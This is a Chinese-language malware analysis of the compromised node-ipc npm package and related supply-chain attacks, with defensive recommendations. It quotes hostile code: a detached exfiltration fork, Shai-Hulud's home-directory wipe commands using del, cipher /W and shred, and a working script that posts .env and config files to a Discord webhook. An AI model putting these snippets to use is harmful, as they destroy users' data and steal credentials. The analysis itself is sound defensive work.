node-ipc 裡藏了一個 IIFE 炸彈:
摘要
這份報告對近期熱門的 npm 套件
node-ipc
遭植入惡意程式事件提供了全面的技術分析,該事件涉及竊取認證與後門功能。分析深入探討了攻擊向量、混淆技術、資料外洩機制,以及對軟體供應鏈安全的廣泛影響。此外,這份報告也與其他值得注意的供應鏈攻擊進行比較,來理解不斷演變的威脅環境,並提出強而有力的緩解策略。
1. 簡介
軟體供應鏈的完整性仍是現代軟體開發中至關重要的議題。涉及
node-ipc
npm 套件(一個廣泛用於 Node.js 應用程式中跨行程通訊的函式庫)的事件,突顯了開源生態系統中持續存在的漏洞。惡意版本的
node-ipc
,特別是
9.1.6
、
9.2.3
和
12.0.1
,被發現包含用於主機環境指紋採集、本機檔案列舉和認證竊取的混淆程式碼 。報告的目的在剖析這次入侵事件的技術細節,檢視其影響,並為開發人員和安全團隊提供可行的建議。
2. Node-IPC 入侵事件的技術分析
node-ipc
遭植入惡意程式事件展示了一種將惡意程式碼注入廣泛使用的套件中的複雜手法。這次攻擊利用了一個處於休眠狀態的維護者帳戶來發布遭入侵的版本,從而繞過了典型的安全性檢查
。
2.1. 從 CommonJS Entrypoint 執行
惡意的 Payload 被特別嵌入在
node-ipc.cjs
檔案中,當應用程式使用
require("node-ipc")
時就會載入此檔案。這與乾淨的 ESM 包裝器
node-ipc.js
形成對比,後者從本機原始碼檔案匯入且未受影響。該 Payload 在模組載入期間,以附加到打包後的 CommonJS 檔案末尾的混淆立即呼叫函式表達式 (Immediately Invoked Function Expression, IIFE) 執行,而不依賴於
postinstall
指令碼
。
該 Payload 將其執行函式以
__ntRun
的名稱暴露在 module exports 上,以便重新啟動。這為惡意程式建立了額外的執行路徑,即使是透過可能檢查並呼叫匯出屬性的測試或建置指令碼也能觸發。然而,主要的啟動是在 CommonJS 模組載入後,透過
setImmediate()
自動發生的
。
- // Analyst note: simplified from the decoded payload.
- runner.__ntRun = runner;
- if (module && module.exports) {
- if (hashGateMatched) {
- module.exports = runner;
- } else {
- module.exports.__ntRun = runner;
- }
- }
這段程式碼說明了
__ntRun
函式是如何被暴露的。如果
hashGateMatched
為真,整個 module export 就會被 runner 取代;否則,
__ntRun
會被新增為一個屬性。這種雙重方法確保了惡意程式碼的執行,同時可能維持了部分函式庫的功能。
2.2. 用於外洩的子程序
該 Payload 利用環境變數
__ntw
來區分父程序與子程序的執行路徑。如果
process.env.__ntw
被設定為
"1"
,則會啟動收集和外洩程序。否則,會建立一個新的分離子程序,並在其環境中設定
__ntw: "1"
,使認證收集程序能獨立執行
。
- // Analyst note: simplified from the decoded payload.
- if (process.env.__ntw === "1") {
- return collectAndExfiltrate();
- }
- const childEnv = Object.assign({}, process.env, { __ntw: "1" });
- delete childEnv.NODE_OPTIONS;
- const child = child_process.fork(
- path.resolve(module.filename),
- [],
- {
- cwd: process.cwd(),
- detached: true,
- stdio: "ignore",
- env: childEnv,
- execArgv: [],
- windowsHide: true
- }
- );
- if (child.channel) child.channel.unref();
- child.unref();
此機制確保了惡意活動(特別是資料收集和外洩)發生在一個獨立、分離的程序中,使其更難被偵測和終止。`detached: true` 和 `stdio: "ignore"` 選項進一步掩蓋了其運作。
2.3. Hash Gate 機制
使用了一種 Hash Gate 機制,根據模組檔案名稱的 SHA-256 雜湊值來改變套件的匯出行為。如果計算出的雜湊值與預期的值匹配,程式碼會將
module.exports
替換為 runner 函式,從而有效地挾持整個套件。如果不匹配,則僅會用
__ntRun
增強套件的 API,讓函式庫的其餘部分正常運作
。
- // Analyst note: simplified from the decoded payload.
- const actual = sha256(path.basename(module.filename).toLowerCase()).toString("hex");
- const expected = "bf9d8c0c3ed3ceaa831a13de27f1b1c7c7b7f01d2db4103bfdba4191940b0301";
- const hashGateMatched = actual === expected;
這種條件式行為顯示攻擊者試圖根據特定的環境因素來控制 Payload 的激進程度,可能是為了避免在某些環境中被偵測到。
2.4. 主機偵察與 Credential 竊取
該惡意程式會執行廣泛的主機偵察,使用 Node.js OS API 並執行
uname -a
來收集系統資訊。這個指紋採集包括作業系統、版本、架構、主機名稱和 endianness
。
- // Analyst note: reconstructed from decoded calls.
- [
- os.platform(),
- os.release(),
- os.arch(),
- os.hostname(),
- os.endianness()
- ].join(" ");
在偵察之後,該 Payload 會啟動大規模的 Credential 和設定檔竊取操作。它會鎖定一份全面的敏感檔案清單,包括雲端服務供應商設定檔(AWS、Azure、GCP)、SSH keys、Kubernetes 和 Docker credentials、npm 和 Git tokens,以及各種環境檔案(
.env
、shell 歷史紀錄)。收集邏輯支援 home 目錄展開、相對路徑和 glob patterns,同時會跳過
node_modules
和
.git
目錄
。
2.5. 透過 DNS TXT 紀錄的資料外洩
此攻擊一個特別值得注意的地方是資料外洩機制,它利用 DNS TXT records 而不是傳統的 HTTP 管道。收集到的資料在被壓縮成 gzip archive 後,會被編碼並切割成 DNS TXT queries。這種方法目的在保持隱蔽,並繞過主要關注 HTTP/HTTPS 流量的網路監控解決方案 。
編碼鏈涉及 gzip 壓縮、base64 編碼、使用 SHA-256 keystream 進行 XOR 加密、字元替換,然後再分割成 31 字元的區塊,並進行十六進制編碼以用於 DNS label 傳輸 。
外洩程序包括對
sh[.]azurestaticprovider[.]net:443
進行 bootstrap DNS lookup,然後使用
bt[.]node[.]js
域名下的前綴(如
xh
、
xd
、
xf
)進行 header、data 和 footer 的 TXT queries。一個 500 KiB 的壓縮 archive 可以產生大約 29,400 個 TXT queries,這使得高頻率的 TXT query 突發成為一個強烈的偵測指標
。
Detached Child Process]; E --> F[Set __ntw=1 in Child Env]; F --> G["Child Process:
collectAndExfiltrate()"]; D -- Yes --> G; G --> H[Host Reconnaissance]; H --> I[Credential & Config Harvesting]; I --> J[Build Gzip Archive
in Memory]; J --> K[Write Archive
to Temp File]; K --> L[Encode & Chunk Data
for DNS TXT]; L --> M[Exfiltrate
via DNS TXT Queries]; M --> N[Attempt Cleanup
of Temp File];
圖 1:惡意
node-ipc
payload 的簡化執行流程。
3. 與其他供應鏈攻擊的比較
node-ipc
事件是針對開源生態系統的複雜供應鏈攻擊中更廣泛趨勢的一部分。檢視其他近期事件可以提供寶貴的背景資訊,並突顯 Threat actor 常用的 Tactics, techniques, and procedures (TTPs)。
3.1. TanStack 事件:GitHub Actions 與 OIDC 漏洞利用
TanStack NPM 套件遭入侵事件(被識別為 Mini Shai-Hulud 行動的一部分)涉及一個複雜的鏈結式 GitHub Actions 攻擊。此攻擊利用了
pull_request_target
模式和 GitHub Actions cache poisoning,從 GitHub Actions runner process 中提取 OIDC tokens
。攻擊者並沒有直接竊取 npm tokens;相反地,他們透過專案的 OIDC trusted-publisher 綁定來驗證惡意發布,在工作流程的測試/清理階段執行受控制的程式碼,以發布到 npm registry
。
此攻擊的一個關鍵方面是修改
package.json
檔案,加入一個指向
TanStack/router
儲存庫中可疑 commit 的
optionalDependencies
欄位。該 commit 引入了一個
package.json
,定義了一個名為
@tanstack/setup
的套件,其中包含一個
prepare
lifecycle hook,用於執行
bun run tanstack_runner.js && exit 1
。此機制允許在開發人員工作站或 CI 系統上安裝 git 相關套件時執行任意程式碼
。
3.2. Shai-Hulud 攻擊:蠕蟲式傳播與檔案系統掃描
Shai-Hulud 惡意程式代表了 npm 供應鏈攻擊的一次重大升級,其特點是蠕蟲式傳播、多階段載入、廣泛的 Credential 收集,以及一個極具破壞力的 Dead man's switch
。最初的感染途徑涉及修改
package.json
檔案以包含惡意的 entry points,特別是利用
preinstall
script 來執行一個名為
setup_bun.js
的載入器檔案
。然後,該載入器會下載或定位 Bun runtime,並執行一個巨大且高度混淆的 Payload
bun_environment.js
。
Shai-Hulud 中的 Credential 收集範圍很廣,目標包括 GitHub、npm、AWS、GCP 和 Azure 的 tokens。它還利用了一個合法的安全工具 Trufflehog,對檔案系統進行深度掃描,以發現原始碼、設定檔或 Git history 中隱藏的 secrets 。
Shai-Hulud 的一個關鍵特性是其 Dead man's switch,這是一個設計用來保護攻擊者基礎設施不被移除的破壞性 Payload。如果一個受感染的系統無法連線到 GitHub(用於外洩)和 npm(用於傳播),它會立即觸發對該台電腦的資料破壞。在 Windows 上,這涉及刪除使用者檔案並使用
cipher /W
覆寫磁碟磁區,而在 Unix 系統上,則使用
shred
工具在刪除檔案之前先進行覆寫 。
- // CRITICAL: Token validation failure triggers destruction [3]
- async function aL0 ( ) {
- // ... (Authentication checks) ...
- // DESTRUCTION TRIGGER: No GitHub AND no NPM access
- if (!fetchedToken && !npmToken) {
- console . log ( "Error 12" );
- if (platform === "windows" ) {
- // Attempts to delete all user files and overwrite disk sectors
- Bun . spawnSync ([ "cmd.exe" , "/c" ,
- "del /F /Q /S \"%USERPROFILE%*\" && " +
- "for /d %%i in (\"%USERPROFILE%*\") do rd /S /Q \"%%i\" & " +
- "cipher /W:%USERPROFILE%" // Overwrite deleted data
- ]);
- } else {
- // Attempts to shred all writable files in home directory
- Bun . spawnSync ([ "bash" , "-c" ,
- "find \"$HOME\" -type f -writable -user \"$(id -un)\" -print0 | " +
- "xargs -0 -r shred -uvz -n 1 && " + // Overwrite and delete
- "find \"$HOME\" -depth -type d -empty -delete" // Remove empty dirs
- ]);
- }
- process. exit ( 0 );
- }
- }
這段程式碼說明了 Dead man's switch 的破壞性,突顯了試圖干擾攻擊者運作可能帶來的嚴重後果 。
3.3. Discord Webhook 外洩:
mysql-dumpdiscord
案例
供應鏈攻擊中的另一個常見策略是利用合法的服務進行惡意的 Command and Control (C2) 操作和資料外洩。
mysql-dumpdiscord
npm 套件就是一個典型的檔案外洩投放程式,它利用了 Discord Webhooks 。這個惡意套件會識別並從受感染的系統中提取敏感的設定檔,並透過一個 Hardcoded 的 Discord Webhook URL 傳輸其內容 。
- const fs = require ( "fs" );
- const path = require ( "path" );
- // Discord Webhook URL - This is the exfiltration point [4]
- const WEBHOOK_URL = "https://discord[.]com/api/webhooks/..." ; // Example URL, actual URL is obfuscated
- // List of target files for exfiltration [4]
- const FILES = [ "config.json" , "config.js" , ".env" , "ayarlar.json" , "ayarlar.js" ];
- async function sendToWebhook ( filePath ) {
- try {
- const fullPath = path. resolve (filePath);
- // Check if the file exists before attempting to read [4]
- if (!fs. existsSync (fullPath)) return ;
- // Read file content synchronously [4]
- const content = fs. readFileSync (fullPath, "utf-8" );
- let message;
- // Truncate content if it exceeds Discord\'s message length limit (1900 characters for code blocks) [4]
- if (content. length > 1900 ) {
- message = `📄 File: \\` ${filePath}\\ `\\n\\` \\ `\\` txt\\n${content. slice ( 0 , 1900 )}...\\n\\ `\\` \\ `\\n⚠️ File is too big, it was shortened.` ;
- } else {
- message = `📄 File: \\` ${filePath}\\ `\\n\\` \\ `\\` js\\n${content}\\n\\ `\\` \\ `` ;
- }
- // Send the formatted message to the Discord webhook [4]
- await fetch ( WEBHOOK_URL , {
- method : "POST" ,
- headers : { "Content-Type" : "application/json" },
- body : JSON . stringify ({ content : message }),
- });
- } catch (err) {
- // Silent error handling to avoid detection [4]
- console . error ( "❌ Error:" , err. message );
- }
- }
- // Iterate through the list of files and attempt to send their content [4]
- FILES . forEach ( ( file ) => sendToWebhook (file));
- module . exports = {};
這段程式碼展示了惡意套件如何系統性地針對常見的設定檔。使用
fs.readFileSync
進行同步檔案讀取,以及使用
fetch
將資料傳輸到 webhook,都是標準的 Node.js 作法,使得惡意活動能夠與合法操作融為一體。靜默錯誤處理 (
console.error
) 是在執行期間避免引起懷疑的常見技術 。
mysql-dumpdiscord] --> B{Read Configuration Files}; B --> C{Check File Existence}; C -- File Exists --> D[Read File Content]; D --> E{Content Length Check}; E -- > 1900 chars --- F[Truncate Content]; E -- <= 1900 chars --- G[Full Content]; F --> H[Format Discord Message]; G --> H; H --> I[Send to Discord Webhook]; I --> J{Data Exfiltrated}; C -- File Not Exists --> K[Skip File];
圖 2:
mysql-dumpdiscord
套件的運作流程 。
3.4. YaNB 威脅:帶有反虛擬機與加密功能的 Node.js 後門
Yet Another NodeJS Backdoor (YaNB) 代表了 Node.js 威脅中的一個現代挑戰,它利用 JavaScript 的靈活性和 Node.js 的跨平台能力來繞過傳統的安全控制 。攻擊鏈通常始於一個被入侵的網站注入惡意 JavaScript,接著透過假冒的 CAPTCHA 社交工程手法誘騙使用者執行 PowerShell 命令 。
3.4.1. Node.js RAT 部署與反偵測
最終的 Payload 是一個配備反虛擬機 (anti-VM) 機制的 Node.js Remote Access Trojan (RAT)。如果系統製造商是 `QEMU` 或記憶體低於 4GB,它會終止執行,目的是逃避沙箱分析。它還透過修改註冊表 (
HKCU\Software\Microsoft\Windows\CurrentVersion\Run
) 來實現持久化,偽裝成假的 Chrome 更新程式 。
3.4.2. 資料收集與外洩
YaNB RAT 會執行 PowerShell 命令來收集作業系統詳細資訊、執行中的服務、掛載的磁碟機和 ARP cache。收集到的資料會使用 4-byte 的
byteKey
進行 XOR 加密,然後用
gzip
壓縮,並附加一個
zlibKey
checksum。這種客製化的加密使得網路流量分析變得複雜 。
// YaNB 資料結構 [gzip(XOR_encrypted_data + byteKey + encKey)] + zlibKey
此結構突顯了攻擊者混淆外洩資料的努力,使得安全分析人員在沒有事先了解加密方案的情況下更難解密。
3.4.3. Command and Control (C2) 通訊
該惡意程式透過 SOCKS5 代理與其 C2 伺服器通訊,透過 HTTP requests 接收命令。觀察到的行為包括持久安裝、Payload 執行(例如,投放次要的 JS RATs),以及如果收到特定回應 ("ooff") 則自我終止 。
4. 緩解策略與建議
為了有效應對像
node-ipc
入侵事件這類不斷演變的供應鏈攻擊威脅,多層次的防禦策略至關重要。對這些事件的技術分析,以下建議對開發人員和安全團隊至關重要:
4.1. 給使用者與開發者
-
移除受入侵的版本:
立即移除任何受入侵的
node-ipc版本,並從已知乾淨的版本重新安裝。稽核package-lock、yarn.lock和pnpm-lock檔案中是否有惡意雜湊值 。 - 替換 Secrets: 如果曾載入 CommonJS 套件,請將所有暴露的環境變數和本機開發者 secrets 視為已遭入侵。在受影響的主機上替換 SSH keys、npm tokens、雲端服務供應商金鑰、GitHub/GitLab tokens、Kubernetes credentials、Docker registry credentials、Terraform credentials 和資料庫 credentials 。
- 優先進行相關套件審查: 優先進行能檢查套件 entrypoints 而不僅是安裝指令碼的相關套件審查。稽核應用程式是透過 CommonJS、ESM 還是傳遞性依賴(Transitive dependencies)來載入套件 。
- 避免使用長效 Secrets: 盡可能避免透過程序環境變數暴露長效的 secrets。為開發和 CI 工作流程使用短效的雲端 credentials 和限定範圍的 tokens 。
-
實作 Package Lock 驗證:
使用 Subresource Integrity 或 package lock 驗證,並為
package-lock.json或pnpm-lock.yaml中的所有套件固定integrity欄位 。
4.2. 給安全團隊
-
監控網路流量:
監控是否有 DNS 解析器設定或查詢已知惡意域名的嘗試 (例如
sh[.]azurestaticprovider[.]net:443)。偵測在可疑域名下 (例如bt[.]node[.]js) 帶有特定標籤前綴 (xh、xd、xf) 的 DNS TXT queries 。 - 追查大量 TXT Query 突發: 對大量的 TXT query 突發保持警惕,因為一個 500 KiB 的壓縮 archive 可以產生大約 29,400 個資料 TXT queries 。
-
封鎖惡意雜湊值:
封鎖或對惡意
node-ipc.cjs檔案的 SHA-256 雜湊值發出警報 。 -
保留暫存目錄:
在即時回應期間,保留符合
nt-<pid>模式的暫存目錄,因為中斷的執行可能會將 gzip archive 遺留在磁碟上 。 - 撤銷 OIDC Federation: 對於從受影響儲存庫發布的 npm 套件,撤銷 GitHub Actions OIDC federation,並僅在確認工作流程完整性後才重新建立 。
-
稽核開發者目錄:
檢查
.claude/和.vscode/目錄中是否有可疑檔案,例如router_runtime.js、setup.mjs,或settings.jsonhooks 和tasks.json中的未知項目 。 - 掃描 npm 發布日誌: 尋找源自 GitHub Actions runners 的非預期發布 。
-
限制 OIDC Token 範圍:
為 GitHub Actions 工作流程設定精細的 OIDC Token 權限,對於不需要 OIDC 發布的工作流程設定
permissions: id-token: none,並將id-token: write權限限制在特定的發布任務上 。 -
監控 Node.js 程序:
標記未經授權的
node.exe執行,並檢查命令列參數是否有可疑模式 (例如,Inline JS 執行) 。 - 實作執行時期保護: 利用 EDR/XDR 解決方案來偵測 XOR-encrypted C2 流量和 PowerShell 混淆 。
5. 結論
node-ipc
套件遭入侵事件清楚地提醒了我們軟體供應鏈中持續存在且不斷演變的威脅。該事件以複雜的混淆、Credential 竊取和隱蔽的 DNS TXT 外洩為特點,強調了實施強健安全實踐的關鍵必要性。當與其他重大供應鏈攻擊(如 TanStack 事件、Shai-Hulud 蠕蟲和 YaNB 後門)一起審視時,一個清晰的模式浮現出來:Threat actor 正在不斷改進其技術,利用複雜的依賴關係,並為了惡意目的而利用合法服務。透過理解這些攻擊的技術細節並實施全面的緩解策略——包括嚴格的依賴套件稽核、主動的 Secret 替換、增強的網路監控和精細化的存取控制——組織可以顯著增強其對未來供應鏈入侵的抵禦能力。安全研究人員與惡意行為者之間持續的攻防戰,需要持續的警覺和適應,以保護開源生態系統的完整性。